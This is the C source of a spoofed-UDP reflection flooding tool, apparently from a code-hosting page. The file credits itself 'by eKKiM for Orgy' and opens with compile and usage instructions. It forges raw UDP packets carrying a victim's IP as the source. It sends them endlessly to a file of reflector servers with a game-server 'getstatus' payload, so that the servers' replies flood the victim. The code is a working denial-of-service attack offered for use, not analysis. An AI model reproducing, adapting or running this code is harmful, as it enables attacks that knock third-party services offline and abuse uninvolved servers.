-
Notifications
You must be signed in to change notification settings - Fork 79
/
Copy pathSUDP.c
186 lines (153 loc) · 4.09 KB
/
SUDP.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
/*
--Note by MFJC--
Compile:
apt-get update
apt-get install gcc
gcc udp.c -pthread
Usage: ./a.out ip port time ipfile.txt message
*/
#include <stdio.h>
#include <stdlib.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip.h>
#include <pthread.h>
void D(char *message)
{
printf(message);
fflush(stdout);
}
typedef struct file_list
{
unsigned long ip;
int port;
};
typedef struct pthread_param
{
unsigned long victim_ip;
int victim_port;
struct file_list *list;
int list_size;
char *message;
};
typedef struct pseudo_header
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
};
void attack(unsigned long srcip, int srcport, unsigned long destip, int destport, char *message)
{
int s = socket (PF_INET, SOCK_RAW, IPPROTO_UDP);
char packet[4096];
struct iphdr *iph = (struct iphdr *) packet;
// struct tcphdr *tcph = (struct tcphdr *) (packet + sizeof (struct ip));
struct udphdr *udph = (struct udphdr *) (packet + sizeof(struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
sin.sin_family = AF_INET;
sin.sin_port = htons(destport);
sin.sin_addr.s_addr = destip;
memset (packet, 0, 4096);
iph->ihl = 5;
iph->version = 4;
iph->tos = 16;
iph->tot_len = sizeof (struct ip) + sizeof (struct udphdr) + strlen(message);
iph->id = htonl (54321);
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_UDP;
iph->check = 0;
iph->saddr = srcip;
iph->daddr = sin.sin_addr.s_addr;
udph->source = htons(srcport);
// Destination port number
udph->dest = htons(destport);
udph->len = htons(sizeof(struct udphdr));
udph->check = 0; //Kernel fill this in?
strncpy((char *)udph + sizeof (struct udphdr),message, 4096 - (sizeof (struct udphdr) + sizeof (struct ip)));
//IP_HDRINCL needed for own headers
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
{
printf ("[x] Cannot set socket options (are we r00t?)\n");
return;
}
if (sendto (s, packet, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof (sin)) < 0)
printf ("[x] Error sending packet\n");
close(s);
return;
}
void *thread_attack(void *thread_params)
{
struct pthread_param *params = thread_params;
int i;
while (1)
for (i = 0; i < params->list_size; i++)
attack(params->victim_ip, rand() % 65534 + 1, params->list[i].ip, params->list[i].port, params->message);
// Hmm should we use random port or params->victim_port?
}
char *getLine(FILE *f)
{
char *buffer = malloc(sizeof(char));
int pos = 0;
char c;
do { // read one line
c = fgetc(f);
if(c != EOF) buffer[pos++] = (char)c;
buffer = (char*)realloc(buffer, sizeof(char) * (pos + 2));
} while (c != EOF && c != '\n');
return buffer;
}
int main (int argc, char *argv[])
{
struct file_list *list = NULL;
int list_size = 0;
struct pthread_param param;
pthread_t udp_attack;
printf("Spoofed UDP Attack\n");
printf(" by eKKiM\n");
printf(" for Orgy\n\n");
if (argc != 6)
{
printf("Usage: %s <destip> <destport> <ip_file_list> <time in seconds> <message>\n", argv[0]);
return -1;
}
srand(time(0));
FILE *pFile = fopen(argv[3], "r");
if (pFile == NULL)
{
printf("[X] Cannot open file\n");
return -1;
}
while (!feof(pFile))
{
char *line;
line = getLine(pFile);
char ip[1024];
int port;
if (sscanf(line, "%99[^:]:%99d", ip, &port) == 2)
{
list_size++;
list = (struct file_list *) realloc(list, sizeof(struct file_list) * list_size);
list[list_size - 1].ip = inet_addr(ip);
list[list_size - 1].port = port;
}
free(line);
}
fclose(pFile);
param.victim_ip = inet_addr(argv[1]);
param.victim_port = atoi(argv[2]);
param.list = list;
param.list_size = list_size;
param.message = "\xFF\xFF\xFF\xFF\x67\x65\x74\x73\x74\x61\x74\x75\x73\x10";
pthread_create( &udp_attack, NULL, thread_attack, (void*) ¶m);
printf("[*] Attacking..\n");
sleep(atoi(argv[4]));
printf("[!] Done\n");
return 0;
}